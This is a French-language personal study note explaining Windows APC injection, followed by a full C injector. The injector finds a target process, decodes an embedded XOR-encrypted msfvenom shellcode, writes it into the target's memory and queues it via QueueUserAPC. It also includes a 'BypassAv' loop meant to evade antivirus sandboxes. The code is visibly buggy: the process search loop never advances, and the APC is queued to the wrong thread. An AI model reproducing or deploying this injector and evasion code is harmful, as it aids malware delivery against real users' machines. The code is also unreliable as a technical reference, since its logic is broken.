

APC Injection

mardi 3 mars 2026 08:41

Cette technique permet d'exécuter un thread de manière asynchrone

APC veut dire **Asynchronous Procedure Call**. C'est un système d'opération de Windows qui permet au programme d'exécuter des tâches de manière asynchrone.

ça veut dire qu'on peut utiliser cette méthode pour programmer l'exécution d'un malware.

Ce n'est pas tous les threads qui peuvent exécuter une fonction APC car il faut qu'elles soient en **état d'alerte (Alertable state)**. Un état d'alerte pour les threads signifie qu'elles sont en état de pause. Quand un thread entre dans un état d'alerte il est placé dans une queue avec d'autres threads en alertes ce qui permet à l'APC de les exécuter.

Bon pour mieux comprendre il faut s'imaginer une entreprise qui représente le processus. Dans cette entreprise il y a les employés qui sont les threads. Chaque employé a des tâches différentes ou similaires.

On peut voir l'APC comme une sorte d'auditeurs qui va voir un employé et qui va lui mettre la pression pour qu'il exécute une certaine tâche. Cette employé va faire autre chose et d'une autre manière que ses collègues.

Pour que notre employé exécute la tâche donnée par l'APC il faut qu'il sache d'abord c'est quoi la tâche, le temps, la taille etc.

Finis les histoires d'entreprise.

Une meilleure explication :

1. Principe des APC dans Windows

Windows possède un mécanisme appelé **APC queue** (file d'appels asynchrones).

Chaque thread possède une **file de fonctions à exécuter** :

```
Thread
├─ code normal
├─ APC queue
│  └─ Function1()
│     └─ Function2()
│        └─ Function3()
```

Quand le thread entre dans un **état alertable**, Windows exécute les fonctions présentes dans cette queue.

Exemples de fonctions Windows qui mettent un thread en **alertable state** :

```
SleepEx()
WaitForSingleObjectEx()
WaitForMultipleObjectsEx()
SignalObjectAndWait()
```

Quand le thread fait :

```
SleepEx(1000, TRUE)
Windows vérifie :
```

```
if(APC_queue_not_empty)
    execute APC()
```

2. Principe de l'APC Injection

L'attaque consiste à :

1. ouvrir un processus cible
2. allouer de la mémoire dedans
3. écrire le shellcode
4. trouver un thread du processus
5. placer une **APC dans sa queue**

Quand le thread devient **alertable**, le shellcode s'exécute.

Pour que l'APC utilise un thread il faut l'adresse de la fonction qu'on va utiliser dans **QueueUserAPC**. Cette fonction WINAPI va mettre en "salle d'attente" un thread qui va exécuter notre fonction.

Parce que pour rappel, un thread c'est un mini processus qui exécute une fonction.

Cette fonction prend que trois paramètres qui sont l'adresse de la fonction APC qu'on doit appeler.

Le handle en état d'alerte ou en état de pause d'un thread et une variable qui nous permet (si la fonction APC demande) de passer des paramètres.

```
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
```

Ici on met l'adresse de notre payload.

Ensuite on doit créer un thread avec un état d'alerte. Pour ça on va juste créer un nouveau thread et utiliser une des fonctions suivantes pour le mettre en état d'alerte :

[SleepEx](#)

[MsgWaitForMultipleObjectsEx](#)

[WaitForSingleObjectEx](#)

[WaitForMultipleObjectsEx](#)

[SignalObjectAndWait](#)

On va créer un faux événement avec la fonction **CreateEvent**. Cette fonction permet de créer un événement qui va faire que les threads vont communiquer entre elles et attendre l'événement.

IMPORTANT !!

Différence entre un thread en suspend et un thread en état d'alerte :

Un thread crée avec l'option `CREATE_SUSPENDED` veut dire que le thread ne s'exécutera pas tant qu'il est en Suspend. Alors que un thread en état d'alertable signifie qu'il va continuer à tourner tout en acceptant d'exécuter des APC.

Ici cette technique fonctionne pour les deux états. Ce qui veut dire qu'on peut créer un thread en état de suspend (arrêté) = le payload ne s'exécutera que quand le thread reprendra.

Quand on crée un thread en état d'alerte, le payload qui se trouve dans l'APC sera exécuter directement.

Exemples avec ces fonctions qui rendent le thread en état d'alerte :

```
void AlertablesFunction1(){
SleepEx(INFINITE,TRUE);
}
```

Avec `WaitForSingleObjectEx`

```
VOID AlertableFunction2() {

    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 3rd parameter should be 'TRUE'
        WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
        CloseHandle(hEvent);
    }
}
```

Avec `MsgWaitForMultipleObjectsEx` :

```
VOID AlertableFunction4() {

    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 5th parameter should be 'MWMO_ALERTABLE'
        MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
        CloseHandle(hEvent);
    }
}
```

Et enfin avec `SignalObjectAndWait` :

```
VOID AlertableFunction5() {

    HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
    HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);

    if (hEvent1 && hEvent2) {
        // The 4th parameter should be 'TRUE'
        SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
        CloseHandle(hEvent1);
        CloseHandle(hEvent2);
    }
}
```

Bon en gros il nous faudra créer un thread soit en état d'alerte soit en état de suspend puis injecter notre shellcode en mémoire et passer en paramètre le handle du thread et l'adresse en mémoire de notre shellcode.
(pour l'un ou l'autre je peux utiliser le `ifdef` et `ifndef` (`ifnotdef`))

Ce qui nous donne donc :

```
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h> //for the function CreateToolhelp32Snapshot
#define RUN_BY_ALERTABLETHREAD
#define MAX_OP 1000000
/*-----ReportError-----*/

BOOL ReportError(unsigned char* ApiName){
    printf("Erreur [%s] => code : %d\n", ApiName, GetLastError());
    return FALSE;
}

/*-----XOR-----*/

//XOR function for encryption and decryption of the shellcode
void XOR(unsigned char key, unsigned char *buf, int size) {
    for (int i = 0; i < size; i++) {
        buf[i] ^= key;
    }
}

/*-----BypassAv-----*/
BOOL BypassAv(){
int cpt = 0;
int i = 0;
for(i=0; i < MAX_OP; i ++){
    cpt++;
}
```

```

    return TRUE;
}

//les fonctions pour mettre un thread en mode alerte :
VOID AlertableFunction1() {

    SleepEx(INFINITE, TRUE);
}

/*VOID AlertableFunction2() {
    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 3rd parameter should be 'TRUE'
        WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
        CloseHandle(hEvent);
    }
}

Avec MsgWaitForMultipleObjectsEx :

VOID AlertableFunction4() {
    HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent) {
        // The 5th parameter should be 'MWMO_ALERTABLE'
        MsgWaitForMultipleObjectsEx(1, &hEvent, INFINITE, QS_KEY, MWMO_ALERTABLE);
        CloseHandle(hEvent);
    }
}

Et enfin avec SignalObjectAndWait :
VOID AlertableFunction5() {

    HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
    HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
    if (hEvent1 && hEvent2) {
        // The 4th parameter should be 'TRUE'
        SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
        CloseHandle(hEvent1);
        CloseHandle(hEvent2);
    }
}
*/

//il faut d'abord trouver notre process cible avec CreateToolhelp32Snapshot
int FindMyProc(){

    int foundPID = 0;
    HANDLE hProcess = INVALID_HANDLE_VALUE;
    BOOL hResult = 0;
    HANDLE hSnapshot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe32; //structure PROCESSENTRY32
    const char TargetProc[] = "Fulgurokey.exe";

    //snapshot all the process in the system with the function createtoolhelp32snapshot
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE){
        //ReportError("CreateToolhelp32Snapshot");
        CloseHandle(hSnapshot);
        return FALSE;
    }

    //we initialize the size of the parameter dwSize (insinde the structure PROCESSENTRY32
    which is needed for the function Process32First
    pe32.dwSize = sizeof(PROCESSENTRY32);

    //then we get the information about the first process the snapshot find with
    Process32First
    hResult = Process32First(hSnapshot, &pe32);
    if(!hResult){
        //ReportError("Process32First");
        CloseHandle(hSnapshot);
        return FALSE;
    }

    //otherwise we enter in the loop to search the good process name and if we find the one we
    are looking for we exit successfully.
    while (hResult){ //while it's true we compare the string with the process name

        if(strcmp(TargetProc, pe32.szExeFile) == 0){
            foundPID = pe32.th32ProcessID; //we retrieve the PID from the target process
            printf("\t[i] Found Target process Of Id: %d \n", pe32.th32ProcessID);
            printf("[+] DONE \n\n");
            break;
        }
    }

    //if we did not find the target porcess we continue looking for the next process :
    if(!Process32Next(hSnapshot, &pe32)){ //if not true we exit with a false status
        //ReportError("Process32Next");
        CloseHandle(hSnapshot);
        return FALSE;
    }

    //and we return the process PID
    CloseHandle(hSnapshot);
}

```

```

    return foundPID;
}
//il faut ensuite trouver notre thread cible avec CreateToolhelp32Snapshot

// Trouver un thread dans le processus cible
HANDLE FindThreadInProcess(DWORD pid, DWORD* threadId) {
    HANDLE hThread = NULL;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return NULL;

    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);

    if (Thread32First(hSnapshot, &te32)) {
        do {
            if (te32.th32OwnerProcessID == pid) {
                // Ouvrir ce thread
                hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
                if (hThread) {
                    *threadId = te32.th32ThreadID;
                    printf("[+] Found thread ID: %lu\n", te32.th32ThreadID);
                    break;
                }
            }
        } while (Thread32Next(hSnapshot, &te32));
    }

    CloseHandle(hSnapshot);
    return hThread;
}

int main(int argv, char * argv[]) {
    //shellcode encrypted with XOR key 0x12, generated with msfvenom :
    unsigned char shellcode[] =
        "\xee\x5a\x93\xf6\xe2\xed\xed\xed\xfa\xde\x12\x12\x12\x53\x43\x53"
        "\x42\x40\x5a\x23\xc0\x43\x77\x5a\x99\x40\x72\x44\x5a\x99\x40\x0a"
        "\x5a\x99\x40\x32\x5f\x23\xdb\x5a\x1d\xa5\x58\x58\x5a\x99\x60\x42"
        "\x5a\x23\xd2\xbe\x2e\x73\x6e\x10\x3e\x32\x53\xdb\x1f\x53\x13"
        "\xd3\xf0\xff\x40\x53\x43\x5a\x99\x40\x32\x99\x50\x2e\x5a\x13\xc2"
        "\x74\x93\x6a\x0a\x19\x10\x1d\x97\x60\x12\x12\x12\x99\x92\x9a\x12"
        "\x12\x12\x5a\x97\xd2\x66\x75\x5a\x13\xc2\x42\x56\x99\x52\x32\x99"
        "\x5a\x0a\x5b\x13\xc2\xf1\x44\x5f\x23\xdb\x5a\xed\xdb\x53\x99\x26"
        "\x9a\x5a\x13\xc4\x5a\x23\xd2\xbe\x53\xdb\x1f\x53\x13\xdb\x2a"
        "\xf2\x67\xe3\x5e\x11\x5e\x36\x1a\x57\x2b\xc3\x67\xca\x4a\x56\x99"
        "\x52\x36\x5b\x13\xc2\x74\x53\x99\x1e\x5a\x56\x99\x52\x0e\x5b\x13"
        "\xc2\x53\x99\x16\x9a\x53\x4a\x5a\x13\xc2\x53\x4a\x4c\x4b\x48\x53"
        "\x4a\x53\x4b\x53\x48\x5a\x91\xfe\x32\x53\x40\xed\xf2\x4a\x53\x4b"
        "\x48\x5a\x99\x00\xfb\x59\xed\xed\xed\x4f\xfa\x19\x12\x12\x12\x67"
        "\x61\x77\x60\x21\x20\x3c\x76\x7e\x7e\x12\x4b\x53\xa8\x5e\x65\x34"
        "\x15\xed\xc7\x5b\xd5\xd3\x12\x12\x12\x12\xfa\x00\x12\x12\x12\x5a"
        "\x73\x71\x79\x32\x46\x7a\x77\x32\x42\x7e\x7c\x77\x66\x32\x33"
        "\x12\x48\xfa\x17\x12\x12\x12\x5a\x53\x5a\x53\x12\x53\x4a\x5a\x23"
        "\xdb\x53\xa8\x57\x91\x44\x15\xed\xc7\xa9\xf2\x0f\x38\x18\x53\xa8"
        "\xb4\x87\xaf\x8f\xed\xc7\x5a\x91\xd6\x3a\x2e\x14\x6e\x18\x92\xe9"
        "\xf2\x67\x17\xa9\x55\x01\x60\x7d\x78\x12\x4b\x53\x9b\xc8\xed\xc7";

    unsigned char *pshellcode = shellcode; // pointer to the shellcode
    int shell_size = sizeof(shellcode) - 1; // remove the null terminator
    unsigned char bkey = 0x12; // key for XOR encryption
    LPVOID shellcode_mem; // pointer for the allocated memory in the target process
    HANDLE hThread; // handle for the remote thread
    BOOL pShellcodeAddress; //variable to store the result of VirtualProtectEx
    DWORD oldprotect = 0; //variable to store the old protection flags of the allocated memory
    HANDLE hProcess = 0; //process handle for the target process
    SIZE_T bytesWritten = 0; //variable to store the number of bytes written to the target process
    int foundPID = 0; //variable to store the handle of the target process found by FindMyProc()
    DWORD threadId = 0;

    //FreeConsole();
    //Call to the function BypassAV();
    BypassAv();//function to bypass AV dynamic analysis
    foundPID = FindMyProc();
    //on fait l'injection APC :
    //on va ouvrir notre processus cible
    hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION
        | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD)foundPID);
    if (hProcess == NULL) {
        ReportError("OpenProcess");
        CloseHandle(hProcess);
        return -1;
    }

    hThread = FindThreadInProcess(foundPID, &threadId);
    //il faut d'abord récupérer l'adresse de notre shellcode alloué en mémoire dans le processus
    //cible/thread
    XOR(bkey, pshellcode, shell_size);
    //il faut d'abord récupérer l'adresse de notre shellcode alloué en mémoire dans le processus
    //cible/thread
    shellcode_mem = VirtualAllocEx(hProcess, NULL, shell_size, (MEM_RESERVE | MEM_COMMIT),
        PAGE_READWRITE);
    if (shellcode_mem == NULL) {
        ReportError("VirtualAllocEx");
        CloseHandle(hProcess);
        HeapFree(GetProcessHeap(), 0, pshellcode);
        return -1;
    }

```

```
    }
    if (!WriteProcessMemory(hProcess, shellcode_mem, (PVOID)pshellcode, shell_size, &bytesWritten))
    {
        ReportError("WriteProcessMemory");
        VirtualFreeEx(hProcess, shellcode_mem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return EXIT_FAILURE;
    }

    //on change la protection de notre shellcode en mémoire avant de la mettre dans l'APC :
    pShellcodeAddress = VirtualProtectEx(hProcess, shellcode_mem, shell_size, PAGE_EXECUTE_READ,
    &oldprotect);
    if (!pShellcodeAddress) {
        ReportError("VirtualProtectEx");
        return EXIT_FAILURE;
    }
    printf("\nton creer notre thread alerttable \n");
    getchar();

    // 8. Créer un thread alerttable dans NOTRE processus
    HANDLE hAlertThread = CreateThread(NULL, 0, &AlertableFunction1, NULL, 0, NULL);
    if (!hAlertThread) {
        return -1;
    }
    printf("\t[#] Press <Enter> To Run l'APC");
    getchar();
    //on va mettre nore shellcode dans la queue APC
    if (!QueueUserAPC((PAPCFUNC)shellcode_mem, hAlertThread, 0)){
        return FALSE;
    }

    WaitForSingleObject(hThread, INFINITE);
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}
```

Très bizarre je n'ai pas l'impression que ça fonctionne.. Les thread ne prennent pas le status de alerttables et mon message box apparait de temps en temps...

